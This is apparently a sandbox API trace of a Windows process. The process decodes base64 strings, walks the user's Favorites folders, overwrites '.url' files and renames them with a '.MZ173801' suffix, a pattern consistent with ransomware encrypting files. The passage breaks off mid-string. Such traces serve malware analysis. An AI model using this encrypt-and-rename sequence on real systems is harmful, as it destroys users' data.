lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.163] GetCurrentThreadId () returned 0x9fc [0144.163] GetCurrentThreadId () returned 0x9fc [0144.163] GetCurrentThreadId () returned 0x9fc [0144.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.164] GetCurrentThreadId () returned 0x9fc [0144.164] GetCurrentThreadId () returned 0x9fc [0144.164] GetCurrentThreadId () returned 0x9fc [0144.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.164] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.164] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.164] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xe2 [0144.164] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.164] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xe2, lpOverlapped=0x0) returned 1 [0144.165] CloseHandle (hObject=0x224) returned 1 [0144.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.166] WriteFile (in: hFile=0x224, lpBuffer=0x716540*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f6d0*=0xe2, lpOverlapped=0x0) returned 1 [0144.167] CloseHandle (hObject=0x224) returned 1 [0144.167] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.mz173801")) returned 1 [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] GetCurrentThreadId () returned 0x9fc [0144.168] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0144.168] GetLastError () returned 0x12 [0144.168] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.168] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.168] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.168] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.168] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6bd9e60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.169] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.169] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.169] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.169] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url.MZ173801", cAlternateFileName="SUGGES~1.MZ1")) returned 1 [0144.169] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.169] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.169] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 1 [0144.169] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.169] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.169] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bd9e60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.MZ173801", cAlternateFileName="WEBSLI~1.MZ1")) returned 0 [0144.169] GetLastError () returned 0x12 [0144.169] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.169] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0144.169] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.169] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.169] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.171] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.171] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0144.171] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.171] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.171] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgx